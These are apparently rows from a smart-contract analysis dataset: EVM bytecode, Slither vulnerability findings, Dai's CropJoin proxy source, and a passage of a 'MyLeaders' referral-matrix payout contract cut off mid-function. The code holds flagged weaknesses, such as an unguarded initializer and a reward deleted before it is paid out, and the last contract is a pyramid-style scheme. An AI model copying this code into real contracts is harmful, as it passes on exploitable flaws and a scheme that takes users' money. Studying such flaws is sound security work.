b506103e4610fae565b604051808215151515815260200191505060405180910390f35b34801561040a57600080fd5b50610449600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc1565b604051808215151515815260200191505060405180910390f35b34801561046f57600080fd5b506104a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611252565b005b3480156104b257600080fd5b506104e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061130b565b6040518082815260200191505060405180910390f35b34801561050957600080fd5b50610512611354565b604051808215151515815260200191505060405180910390f35b34801561053857600080fd5b5061054161141f565b604051808215151515815260200191505060405180910390f35b34801561056757600080fd5b5061057061147a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105b0578082015181840152602081019050610595565b50505050905090810190601f1680156105dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105f757600080fd5b50610636600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114b3565b005b34801561064457600080fd5b50610683600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611668565b604051808215151515815260200191505060405180910390f35b3480156106a957600080fd5b506106b26118b6565b604051808215151515815260200191505060405180910390f35b3480156106d857600080fd5b50610717600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611939565b604051808215151515815260200191505060405180910390f35b34801561073d57600080fd5b50610792600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b35565b6040518082815260200191505060405180910390f35b3480156107b457600080fd5b506107bd611bbc565b604051808215151515815260200191505060405180910390f35b600560009054906101000a900460ff1681565b6040805190810160405280600c81526020017f47547572626f20546f6b656e000000000000000000000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561097457600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a1257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a6057600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610aeb57600080fd5b600360009054906101000a900460ff1680610b0a5750610b0961141f565b5b1515610b1557600080fd5b610b6782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bfc82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5890919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cce82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3f90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610e2457600080fd5b600560009054906101000a900460ff16151515610e4057600080fd5b610e5582600054611c5890919063ffffffff16565b600081905550610ead82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5890919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900460ff1681565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156110d2576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611166565b6110e58382611c3f90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156112b157600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156113b557600080fd5b600560009054906101000a900460ff161515156113d157600080fd5b6001600560006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514905090565b6040805190810160405280600381526020017f475452000000000000000000000000000000000000000000000000000000000081525081565b600060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561151457600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561156257600080fd5b8290506115b782600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3f90919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160f82600054611c3f90919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116a557600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116f357600080fd5b600360009054906101000a900460ff1680611712575061171161141f565b5b151561171d57600080fd5b61176f82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061180482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5890919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561191757600080fd5b6000600360006101000a81548160ff0219169083151502179055506001905090565b60006119ca82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5890919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515611c1d57600080fd5b6001600360006101000a81548160ff0219169083151502179055506001905090565b6000828211151515611c4d57fe5b818303905092915050565b6000808284019050838110151515611c6c57fe5b80915050929150505600a165627a7a72305820c80f49940c5eafa81bd08802ab7a92971c1cf3c481d6410ea052bc9ab29367430029
|
{"success": true, "error": null, "results": {}}
| 3,210 |
0x036A451114E3835AbEF163A67163B6B376cF2480
|
/**
*Submitted for verification at Etherscan.io on 2022-03-07
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
// Copyright (C) 2021 Dai Foundation
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.12;
contract CropJoin {
address public implementation;
mapping (address => uint256) public wards;
uint256 public live;
event Rely(address indexed usr);
event Deny(address indexed usr);
event SetImplementation(address indexed);
modifier auth {
require(wards[msg.sender] == 1, "CropJoin/not-authed");
_;
}
constructor() public {
wards[msg.sender] = 1;
emit Rely(msg.sender);
live = 1;
}
function rely(address usr) external auth {
wards[usr] = 1;
emit Rely(msg.sender);
}
function deny(address usr) external auth {
wards[usr] = 0;
emit Deny(msg.sender);
}
function setImplementation(address implementation_) external auth {
implementation = implementation_;
emit SetImplementation(implementation_);
}
fallback() external {
address _impl = implementation;
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
interface VatLike {
function urns(bytes32, address) external view returns (uint256, uint256);
function dai(address) external view returns (uint256);
function gem(bytes32, address) external view returns (uint256);
function slip(bytes32, address, int256) external;
}
interface ERC20 {
function balanceOf(address owner) external view returns (uint256);
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(address src, address dst, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external returns (uint8);
}
// receives tokens and shares them among holders
contract CropJoinImp {
bytes32 slot0;
mapping (address => uint256) wards;
uint256 live;
VatLike public immutable vat; // cdp engine
bytes32 public immutable ilk; // collateral type
ERC20 public immutable gem; // collateral token
uint256 public immutable dec; // gem decimals
ERC20 public immutable bonus; // rewards token
uint256 public share; // crops per gem [bonus decimals * ray / wad]
uint256 public total; // total gems [wad]
uint256 public stock; // crop balance [bonus decimals]
mapping (address => uint256) public crops; // crops per user [bonus decimals]
mapping (address => uint256) public stake; // gems per user [wad]
uint256 immutable internal to18ConversionFactor;
uint256 immutable internal toGemConversionFactor;
// --- Events ---
event Join(address indexed urn, address indexed usr, uint256 val);
event Exit(address indexed urn, address indexed usr, uint256 val);
event Flee(address indexed urn, address indexed usr, uint256 val);
event Tack(address indexed src, address indexed dst, uint256 wad);
modifier auth {
require(wards[msg.sender] == 1, "CropJoin/not-authed");
_;
}
constructor(address vat_, bytes32 ilk_, address gem_, address bonus_) public {
vat = VatLike(vat_);
ilk = ilk_;
gem = ERC20(gem_);
uint256 dec_ = ERC20(gem_).decimals();
require(dec_ <= 18);
dec = dec_;
to18ConversionFactor = 10 ** (18 - dec_);
toGemConversionFactor = 10 ** dec_;
bonus = ERC20(bonus_);
}
function add(uint256 x, uint256 y) public pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) public pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) public pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function divup(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(x, sub(y, 1)) / y;
}
uint256 constant WAD = 10 ** 18;
function wmul(uint256 x, uint256 y) public pure returns (uint256 z) {
z = mul(x, y) / WAD;
}
function wdiv(uint256 x, uint256 y) public pure returns (uint256 z) {
z = mul(x, WAD) / y;
}
function wdivup(uint256 x, uint256 y) public pure returns (uint256 z) {
z = divup(mul(x, WAD), y);
}
uint256 constant RAY = 10 ** 27;
function rmul(uint256 x, uint256 y) public pure returns (uint256 z) {
z = mul(x, y) / RAY;
}
function rmulup(uint256 x, uint256 y) public pure returns (uint256 z) {
z = divup(mul(x, y), RAY);
}
function rdiv(uint256 x, uint256 y) public pure returns (uint256 z) {
z = mul(x, RAY) / y;
}
// Net Asset Valuation [wad]
function nav() public virtual view returns (uint256) {
uint256 _nav = gem.balanceOf(address(this));
return mul(_nav, to18ConversionFactor);
}
// Net Assets per Share [wad]
function nps() public view returns (uint256) {
if (total == 0) return WAD;
else return wdiv(nav(), total);
}
function crop() internal virtual returns (uint256) {
return sub(bonus.balanceOf(address(this)), stock);
}
function harvest(address from, address to) internal {
if (total > 0) share = add(share, rdiv(crop(), total));
uint256 last = crops[from];
uint256 curr = rmul(stake[from], share);
if (curr > last) require(bonus.transfer(to, curr - last));
stock = bonus.balanceOf(address(this));
}
function join(address urn, address usr, uint256 val) public auth virtual {
require(live == 1, "CropJoin/not-live");
harvest(urn, usr);
if (val > 0) {
uint256 wad = wdiv(mul(val, to18ConversionFactor), nps());
// Overflow check for int256(wad) cast below
// Also enforces a non-zero wad
require(int256(wad) > 0);
require(gem.transferFrom(msg.sender, address(this), val));
vat.slip(ilk, urn, int256(wad));
total = add(total, wad);
stake[urn] = add(stake[urn], wad);
}
crops[urn] = rmulup(stake[urn], share);
emit Join(urn, usr, val);
}
function exit(address urn, address usr, uint256 val) public auth virtual {
harvest(urn, usr);
if (val > 0) {
uint256 wad = wdivup(mul(val, to18ConversionFactor), nps());
// Overflow check for int256(wad) cast below
// Also enforces a non-zero wad
require(int256(wad) > 0);
require(gem.transfer(usr, val));
vat.slip(ilk, urn, -int256(wad));
total = sub(total, wad);
stake[urn] = sub(stake[urn], wad);
}
crops[urn] = rmulup(stake[urn], share);
emit Exit(urn, usr, val);
}
function flee(address urn, address usr, uint256 val) public auth virtual {
uint256 wad = wdivup(mul(val, to18ConversionFactor), nps());
// Overflow check for int256(wad) cast below
// Also enforces a non-zero wad
require(int256(wad) > 0);
require(gem.transfer(usr, val));
vat.slip(ilk, urn, -int256(wad));
total = sub(total, wad);
stake[urn] = sub(stake[urn], wad);
crops[urn] = rmulup(stake[urn], share);
emit Flee(urn, usr, val);
}
function tack(address src, address dst, uint256 wad) public {
uint256 ss = stake[src];
stake[src] = sub(ss, wad);
stake[dst] = add(stake[dst], wad);
uint256 cs = crops[src];
uint256 dcrops = mul(cs, wad) / ss;
// safe since dcrops <= crops[src]
crops[src] = cs - dcrops;
crops[dst] = add(crops[dst], dcrops);
(uint256 ink,) = vat.urns(ilk, src);
require(stake[src] >= add(vat.gem(ilk, src), ink));
(ink,) = vat.urns(ilk, dst);
require(stake[dst] <= add(vat.gem(ilk, dst), ink));
emit Tack(src, dst, wad);
}
function cage() public auth virtual {
live = 0;
}
}
|
0x608060405234801561001057600080fd5b50600436106100665760003560e01c80635c60da1b146100ee57806365fae35e14610122578063957aa58c146101665780639c52a7f114610184578063bf353dbb146101c8578063d784d4261461022057610067565b5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100c757600080fd5b60405136600082376000803683855af43d806000843e81600081146100ea578184f35b8184fd5b6100f6610264565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101646004803603602081101561013857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610288565b005b61016e6103c6565b6040518082815260200191505060405180910390f35b6101c66004803603602081101561019a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103cc565b005b61020a600480360360208110156101de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061050b565b6040518082815260200191505060405180910390f35b6102626004803603602081101561023657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610523565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461033c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43726f704a6f696e2f6e6f742d6175746865640000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b60025481565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610480576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43726f704a6f696e2f6e6f742d6175746865640000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b60016020528060005260406000206000915090505481565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146105d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43726f704a6f696e2f6e6f742d6175746865640000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fddebe6de740fe0dd01cc33ffa314d11c6ac6acbbe50b80513c4c360ae7aa4f0460405160405180910390a25056fea2646970667358221220c83218970aa0451564d302b93853e003162c0cbcfe8abf682b272239577caf6d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 3,211 |
0xdfda44fa06be7d60c276e14204de109ac9090068
|
pragma solidity >=0.4.23 <0.6.0;
contract MyLeaders {
struct User {
uint32 id;
address referrer;
mapping(uint8 => bool) eligibility;
mapping(uint8 => mapping(uint8 => uint16)) premiumReinvestCount;
mapping(uint8 => mapping(uint8 => bool)) reinvestEligibility;
mapping(uint8 => uint256) accumulatedReward; // Rewards accumulated if the user is not active
// All mappings use key matrixCode to refer to Millionaire or Junior Club which is a uint8
mapping(uint8 => uint256) partnersCount;
mapping(uint8 => bool) firstReferral; // Whether the user was the first direct referral to his referrer
mapping(uint8 => bool) isActive;
mapping(uint8 => mapping(uint8 => bool)) activeBonusMatrixLevels;
mapping(uint8 => bool) activePrimaryMatrixLevels;
mapping(uint8 => bool) thirdLinePayout;
mapping(uint8 => Matrix3x3) primaryMatrix;
mapping(uint8 => mapping(uint8 => bool)) activeEliteMatrixLevels;
mapping(uint8 => bool) activeBillionaireMatrixLevels;
}
struct Matrix3x3 {
address currentReferrer;
uint8 level;
uint64 position;
mapping(uint8 => mapping(uint64 => address))levelReferrals;
mapping(uint8 => uint64) levelReferralCount;
}
uint8 constant base = 3;
bool initializer;
uint8 public MATRIX_CODE;
address payable public owner;
address payable public manager;
uint32 public lastUserId;
mapping(address => User) public users;
mapping(uint32 => address) public idToAddress;
mapping(address => uint) public balances;
mapping(uint8 => mapping(uint8 => uint)) public rewards; // Mapping of various reward payouts
mapping(uint8 => uint) public matrixCodePrice;
mapping(uint8 => mapping(uint8 => mapping(uint8 => uint8))) globalTreeLevel; // Mapping MATRIX_CODE => matrixType => matrixLevel => treeLevel;
mapping(uint8 => mapping(uint8 => mapping(uint8 => mapping(uint8 => address[])))) globalTreePosition; // mapping MATRIX_CODE => matrixType => matrixLevel => treeLevel => address[]
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId, uint8 matrixCode, uint32 timestamp);
event SubAccountRegistration(address indexed user, address indexed parent, uint indexed userId, uint32 timestamp);
event NewUserPlace(address indexed user, uint256 userId, address indexed referrer, uint8 matrixType, uint8 matrixCode, uint64 place, uint8 level, uint256 cycleCount, uint32 timestamp);
event EthPayout(uint256 userId, uint8 matrixCode, uint8 payoutType, uint256 amount, uint32 timestamp);
event Reinvest(address indexed user, uint8 matrix, uint8 matrixType, uint8 level, uint32 timestamp);
function initialize(address payable ownerAddress, address payable managerAddress) public {
require(!initializer, "MyLeaders: Already initialized");
initializer=true;
MATRIX_CODE=3;
lastUserId=2;
matrixCodePrice[1] = 6 ether;
matrixCodePrice[2] = 1.25 ether;
matrixCodePrice[3] = 0.25 ether;
matrixCodePrice[0] = 7.25 ether; // JUMP Start
/**Reward Type:
* 1) Direct Partner: 6 ETH / 1.25 ETH
* 2) Bonus Profit II: 18 ETH / 3.75 ETH
* 3) Elite II: 200 ETH / 0 ETH
* 4) Elite III: 400 ETH / 0 ETH
* 5) Elite IV: 800 ETH / 0 ETH
* 6) Final Elite (Position 1): 480 ETH (1480-1000) / 104 ETH
* 7) Final Elite (Position 2/3): 1546 ETH / 117.75 ETH
* 8) All 27 positions filled: 24 ETH / 5 ETH
* 9) Final Billionaire (Position 1): 8000 ETH / 0 ETH
* 10) Final Billionaire (Position 2/3): 9000 ETH
**/
rewards[1][1] = 6 ether;
rewards[2][1] = 1.25 ether;
rewards[1][2] = 18 ether;
rewards[2][2] = 3.75 ether;
rewards[1][3] = 200 ether;
rewards[1][4] = 400 ether;
rewards[1][5] = 800 ether;
rewards[1][6] = 480 ether;
rewards[2][6] = 104 ether;
rewards[1][7] = 1546 ether;
rewards[2][7] = 117.75 ether;
rewards[1][8] = 24 ether;
rewards[2][8] = 5 ether;
rewards[1][9] = 8000 ether;
rewards[1][10] = 9000 ether;
owner = ownerAddress;
manager = managerAddress;
users[ownerAddress].id = 1;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= MATRIX_CODE; i++) {
users[ownerAddress].activePrimaryMatrixLevels[i] = true;
users[ownerAddress].primaryMatrix[i].position=1;
users[ownerAddress].primaryMatrix[i].levelReferrals[0][1]=ownerAddress;
emit Registration(ownerAddress, address(0), 1, 0, i, uint32(block.timestamp));
for (uint8 j = 1; j <= 5; j++) {
if(j<=2){
users[owner].activeBonusMatrixLevels[i][j] = true;
globalTreePosition[i][1][j][0].push(owner);
globalTreeLevel[i][1][j] = 1;
}
if((i==2&&j<=3) || i==1){
users[owner].activeEliteMatrixLevels[i][j] = true;
globalTreePosition[i][2][j][0].push(owner);
globalTreeLevel[i][2][j] = 1;
}
if(i==1 && j<=3) {
// Registering the Billionaire Club
users[owner].activeBillionaireMatrixLevels[j] = true;
globalTreePosition[1][3][j][0].push(owner);
globalTreeLevel[1][3][j] = 1;
}
}
}
}
function millionaireRegistrationExt(address newAddress) external {
require(users[msg.sender].eligibility[1], "Not eligible");
delete users[msg.sender].eligibility[1];
emit SubAccountRegistration(newAddress, msg.sender, lastUserId, uint32(block.timestamp));
registration(newAddress, msg.sender, 1);
}
function adminRegistrationExt(address referrerAddress, address userAddress, uint8 matrixCode) external payable {
require(msg.sender==manager, "Unauthorized");
require(matrixCode>=0 && matrixCode<=MATRIX_CODE, "Invalid Matrix Code");
if(matrixCode==0) {
require(!isRegisteredUser(userAddress, 1), "User already exists in this matrixCode");
require(!isRegisteredUser(userAddress, 2), "User already exists in this matrixCode");
registration(userAddress, referrerAddress, 1);
registration(userAddress, referrerAddress, 2);
}
else {
require(!isRegisteredUser(userAddress, matrixCode), "User already exists in this matrixCode");
registration(userAddress, referrerAddress, matrixCode);
}
}
function registrationExt(address referrerAddress, uint8 matrixCode) external payable {
require(matrixCode>=0 && matrixCode<=MATRIX_CODE, "Invalid Matrix Code");
require(msg.value == matrixCodePrice[matrixCode], "Invalid Registration Cost");
if(matrixCode==0) {
require(!isRegisteredUser(msg.sender, 1), "User already exists in this matrixCode");
require(!isRegisteredUser(msg.sender, 2), "User already exists in this matrixCode");
registration(msg.sender, referrerAddress, 1);
registration(msg.sender, referrerAddress, 2);
}
else {
require(!isRegisteredUser(msg.sender, matrixCode), "User already exists in this matrixCode");
registration(msg.sender, referrerAddress, matrixCode);
}
}
function bilionaireRegistrationExt(uint8 choice) external payable {
require(users[msg.sender].eligibility[4], "Unauthorized");
require(choice==1||choice==2, "Only 2 choices");
if(choice==1){
users[msg.sender].eligibility[4]=false;
userSecondaryPlacement(msg.sender, 1, 1, 3);
} else {
delete users[msg.sender].eligibility[4];
msg.sender.transfer(1000 ether);
emit EthPayout(users[msg.sender].id, 1, 11, 1000 ether, uint32(block.timestamp));
}
}
function registration(address userAddress, address referrerAddress, uint8 matrixCode) private {
require(users[referrerAddress].id != 0, "Referrer does not exist");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "Cannot be a contract");
if(users[userAddress].id==0) {
//Registering user in User Address Directory
users[userAddress].id = lastUserId;
users[userAddress].referrer = referrerAddress;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
lastUserId++;
}
users[userAddress].activePrimaryMatrixLevels[matrixCode] = true;
users[userAddress].primaryMatrix[matrixCode].position=1;
users[userAddress].primaryMatrix[matrixCode].levelReferrals[0][1]=userAddress;
address currentReferrer = referrerAddress;
if(!isRegisteredUser(referrerAddress, matrixCode)){
currentReferrer = findFreeReferrer(referrerAddress, matrixCode); // Finding referrer for cross buying cases
}
// Direct Partners
users[referrerAddress].partnersCount[matrixCode]++;
/** Making referrer active partner
* Active Partner is Partner with at least 3 direct associates
**/
if(users[referrerAddress].partnersCount[matrixCode]==3){
users[referrerAddress].isActive[matrixCode] = true;
if(users[referrerAddress].accumulatedReward[matrixCode]>0){
delete users[referrerAddress].accumulatedReward[matrixCode];
address(uint160(referrerAddress)).transfer(users[referrerAddress].accumulatedReward[matrixCode]);
}
}
if(users[referrerAddress].partnersCount[matrixCode]==1){
